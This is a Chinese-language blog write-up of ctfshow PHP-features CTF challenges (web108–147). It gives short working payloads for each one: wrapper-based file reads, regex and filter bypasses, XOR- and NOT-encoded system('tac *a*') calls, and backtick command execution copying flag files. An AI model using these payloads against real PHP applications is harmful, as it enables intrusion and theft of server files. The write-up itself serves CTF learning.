第十三周报

[]php特性

web108

ereg就是正则匹配,这里是要开头和结尾都是字母

strrev返回string反转后的字符串

intval是取字值,把非整数的变量取整,如果字母开头就是0,数字开头就只取字母或小数点前面的数

%00这个字符在c语言和php中会直接结束这个字符串

0x36d=877

所以我们url?c=a%00778

web109

这里正则有个数字即可

经测试v1不管为什么函数,v2的函数肯定会执行,

我们这里让v1为会将参数当php代码执行的函数,如:exception

v2直接为system()即可,v2的括号会把system的返回值当作函数再次调用,所以不用管

?v1=exception&v2=system(ls)

web110

根据过滤发现上一题的方法v1可以用,先用v2=phpinfo,看disable项发现没有禁用的类和方法

用DirectoryIterator()内置类,括号里面是当前目录,但是这里符号都被过滤不行,因为这个是副类,要用继承类FileSystemIterator

所以用到getcwd取得当前目录

?v1=FileSystemIterator&v2=getcwd,得到flag文件名,直接访问

web111

这里正则只要v1有ctfshow即可

$$意思是把传参再次进行变量

我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag

对应的值URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null

我们可以用全局变量GLOBALS 常量数组,它会把全局所有的变量都显示出来

?v1=ctfshow&v2=GLOBALS

web112

is_file是判断文件名是否为正常文件,可以用包装器 伪协议绕过

不影响highlight_file  file_get_contents

?file=php://filter/resource=flag.php

web113

把上一题的伪协议过滤了

那这里就用zip伪协议

?file=compress.zlib://flag.php

web114

这里zip过滤了,但filter放出来了

?file=php://filter/resource=flag.php,和113一样

web115

numeric判断是否为字符数字,36a不行,前面加空格可以,后面不行,空格用%09

%0936与字符串36不一样所以第二个过滤通过

trim函数

用%0c换页键可过滤%0c36既等于36又不等于36

?num=%0c36

web123

要有CTF_SHOW存在 和 CTF_SHOW.COM存在 而 fl0g 不存在

由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

类似双写绕过

直接在post里CTF_SHOW=1&CTF[SHOW.COM=2&fun= echo $flag

web125

过滤了echo

可以用伪协议绕过

url?1=php://filter/convert.base64-encode/resource=flag.php

post:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1]

web126

多过滤了几个字母

url?a=1+fl0g=flag_give_me

post:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])

web127

题目检查的是$url而不是$_GET

所以通过空格会转化成_的原理

url?ctf%20show=ilove36d

web128

php环境配置了gettext环境,它有个别名_,可以将参数翻译成指定语言,一般就是原封不动的输出参数

get_defined_vars 函数可以输出所有变量的信息

?f1=_&f2=get_defined_vars

web129

stripos,查找字符串首次出现的位置(有i不区分大小写),即ctfshow在变量f中出现的第一个位置

这里要目录穿越,经过测试

?f=/ctfshow/../var/www/html/flag.php

web130

正则要求ctfshow前面不能有?等字符

第二个布尔类型和数字不能===

所以直接post  f=ctfshow

web131

比上一题多了个字符型转换

preg_match 函数的栈溢出会使其返回 false,在某些需要符合正则匹配的场景不适用,

我们字符串超出正则匹配的范围即可

post:   f=省略几万个字符36Dctfshow

web132

打开是网站,先访问robots.txt,发现admin,再访问admin

发现php

因为有一个||所以当username=admins时全都为真

?code=admin&password=123&username=admin

web133

不懂

web134

extract会把数组里的元素变为变量,值为变量值

所以我们直接?$_POST['key1']=36d&$_POST['key2']=36d

web135

因为截取字段但不会影响eval,所以直接在后面偷偷加代码执行

自身的值在被eval时候直接引用自身,可以用cp把flag复制到1.txt访问

?F=`$F`+;cp+flag.php+1.txt

再访问1.txt得到flag

web136

无回显

用?c=ls /|tee 2,再访问2,可以将目录文件名下载下来

得到flag文件名后?c=cat /f149_15_h3r3|tee 3 访问下载查看

web137

这里涉及到类,直接用c语言类的调用解决

post:  ctfshow=ctfshow::getFlag

web138

这里过滤了:号

我们这里传入一个数组,数组也可以是类

先调用类再调用函数

post:

ctfshow[]=ctfshow&ctfshow[]=getFlag

web140

if判断是弱等于,需要intval($code)的值为0

system()必须包含参数,失败返回FLASE

所以?f1=system&f2=system

web141

这里用异或绕过

因为1+代码+1是可以执行的所以v1v2不用管,v3用异或输入代码即可

?v1=1&v2=1&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-

相当于system('tac *a*')

web143

与141同,减号换成*

?v1=1&v2=1&v3=*(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)*

web144

v2不能有字母

调换参数顺序即可

?v1=1&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)

web145

过滤了异或符,就用取反

?v1=1&v2=2&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5):

web146

这一题过滤了冒号

可以用|

?v1=1&v2=2&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)|

web147

这里不能有两个参数,所以ctf用匿名函数,post: ctf=\cteate_function

再直接让前面花括号闭合,直接命令执行,再把后面的花括号注释掉,得到flag

url?show=}system('tac *a*');/*

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值